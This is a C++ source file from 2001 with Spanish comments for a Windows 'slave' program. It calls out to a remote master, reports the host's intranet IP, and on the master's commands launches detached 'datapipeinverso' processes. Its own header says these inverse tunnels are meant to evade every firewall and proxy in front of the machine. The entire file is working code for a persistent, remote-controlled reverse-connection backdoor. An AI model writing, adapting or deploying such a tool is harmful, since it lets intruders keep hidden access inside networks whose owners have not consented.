// esclavo.cpp
// eid0 2001
// codigo lanzado bajo licencia GNU.
// Este programa hace de esclavo lanzando una conexion al master // ,escuchando sus peticiones de conexion, y llamando a datapipeinverso que // a su vez lanza las conex. requeridas evitando todos los firewalls y proxys // tras los que este.

// Dedicado a Ru69 y a su red gabacha.

#include "stdafx.h"
#include <winsock.h>
#include <stdlib.h>
#include <malloc.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <io.h>

int transformaip(char *);
//#define PUERTO_FTP 21
int main(int argc, char* argv[])
{

        char bufer[4096];
        char * puntbuf;
        bool bol;
        char ipdest[20];
        char portdest[7];
        char portlocal[7];
        char ipbounce[20];
        struct timeval tiemposelect;
        unsigned int locip;
        SOCKADDR_IN sinlocip;
        int sinlociplen;
        SOCKET soket=0;
        STARTUPINFO startup;
        PROCESS_INFORMATION procinf;
                //char * bufer;
        memset(&startup,0,sizeof(STARTUPINFO));
        startup.cb=sizeof(STARTUPINFO);
        fd_set fdsr;
        WSADATA wsaData;
        argc=2;
        if (argc<2 )
        {
                printf("eid0 inverse connection slave v1.00\n usage: %s ip",argv[0]);
                return 0;
        }

        SOCKADDR_IN sin;

                if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0)
                {
                        printf ("error en winsock");
                        return 0;
                }
inicio:
                memset (&sin,0,sizeof(sin));
                sin.sin_family=AF_INET;
                sin.sin_port=htons(7000);
                char * target_ip=argv[1];
                if ((sin.sin_addr.s_addr=inet_addr(target_ip))==INADDR_NONE)
                {
                        HOSTENT *he;
                        if (he=gethostbyname(target_ip))
                        sin.sin_addr.s_addr=*((DWORD*)he->h_addr);
                        else
                        printf("LA DIRECCION NO ES VALIDA CALAMAR\n");

                }
                if ((soket=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
                {
                        printf("error de socket");
                        return 0;
                }
                if (connect(soket,(SOCKADDR *) &sin,sizeof(sin))==SOCKET_ERROR)
                {
                        printf("error con connect,reintentando...\n");
                        Sleep(3000);
                        close(soket);
                        goto inicio;
                }
                printf("conectado...esperando peticiones de redireccion\n");
                sinlociplen=sizeof(SOCKADDR_IN);
                getsockname(soket,(struct sockaddr *)&sinlocip,&sinlociplen);
                locip=sinlocip.sin_addr.s_addr;
                sprintf(bufer,"TOYBAJOUNFIREWALL\niplocal de intranet=%u.%u.%u.%u\n",((unsigned char *)(&locip))[0],((unsigned char *)(&locip))[1],((unsigned char *)(&locip))[2],((unsigned char *)(&locip))[3]);
                //strcpy(bufer,"TOYBAJOUNFIREWALL\niplocal=%u.%u.%u.%u\n",((unsigned char *)(&locip))[0],((unsigned char *)(&locip))[1],((unsigned char *)(&locip))[2],((unsigned char *)(&locip))[3]);
                send(soket,bufer,strlen(bufer),0);
                char * posi=0;
                int leidos;
                char programa[60];
                do
                {
                FD_ZERO(&fdsr);
                FD_SET(soket,&fdsr);
                tiemposelect.tv_sec=120;
                if ((select(20, &fdsr, NULL, NULL, &tiemposelect)) == -1)
                {
                        perror("select");
                        goto inicio;
                }
                if ((FD_ISSET(soket,&fdsr))==0)
                {
                        strcpy(bufer,"eid0PING\n");
                        if ((send(soket,bufer,strlen(bufer),0))<=0)
                        {
                                printf ("Fallo de conexion no esperada.Reiniciando...\n");
                                goto inicio;
                        }

                        FD_ZERO(&fdsr);
                        FD_SET(soket,&fdsr);
                        tiemposelect.tv_sec=10;
                        if ((select(20, &fdsr, NULL, NULL, &tiemposelect)) == -1)
                        {
                                perror("select");
                                goto inicio;
                        }
                        if ((FD_ISSET(soket,&fdsr))==0)
                        {
                                printf("Timeout.., volvemos a conectar\n");
                                goto inicio;
                        }
                }
                        puntbuf=posi=bufer;
                        if ((leidos=recv(soket,bufer,4095,0))==0)
                                {printf("Se ha perdido la conexion con el host, Reconectando...\n");
                                close(soket);
                                Sleep(3000);
                                goto inicio;
                                }
                        bufer[4095]=0;
                        posi=strstr(puntbuf,"REDIRECCIONAPUERTO");
                        while ((posi<&(bufer[leidos-1])) && posi>0)
                        {
                        memcpy(ipdest,posi+strlen("REDIRECCIONAMIENTO"),15);
                        ipdest[15]=0;
                        transformaip(ipdest);

                        memcpy(portdest,posi+strlen("REDIRECCIONAMIENTO")+15,5);
                        portdest[5]=0;
                        memcpy(portlocal,posi+strlen("REDIRECCIONAMIENTO")+15+5,5);
                        portlocal[5]=0;
                                memcpy(ipbounce,posi+strlen("REDIRECCIONAMIENTO")+25,15);
                                ipbounce[15]=0;
                                transformaip(ipbounce);
                                sprintf(programa,"datapipeinverso.exe %s %s %s %s",ipdest,portdest,portlocal,ipbounce);
                                //printf("ejecutando %s\n",programa);
                        bol=CreateProcess(NULL,programa,NULL,NULL,false,DETACHED_PROCESS | NORMAL_PRIORITY_CLASS,NULL,NULL,&startup,&procinf);
                        send(soket,"OK\n",3,0);
                        puntbuf=posi+1;
                        posi=strstr(puntbuf,"REDIRECCIONAPUERTO");
                        printf("comando procesado, esperamos al siguente...\n");
                        }

                }while(1);

//no deberia llegar aki nunka a no ser ke se deskonecte

return 0;
}
int transformaip(char * ipstring)
{

        unsigned int num[4];
        char strr[30];
        int a;
        for (a=0;a<4;a++)
        {
                memcpy(strr,&(ipstring[a*4]),3);
                strr[3]=0;
                num[a]=atoi(strr);
        }
        sprintf(ipstring,"%u.%u.%u.%u",num[0],num[1],num[2],num[3]);
        return 0;

}